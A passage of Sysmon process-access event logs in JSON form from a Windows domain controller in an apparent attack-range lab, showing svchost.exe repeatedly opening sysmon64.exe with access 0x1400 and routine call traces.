C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1381,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1382,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1383,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1384,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1385,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1386,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.732\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.732","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1387,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.733\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.733","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1388,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.733\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 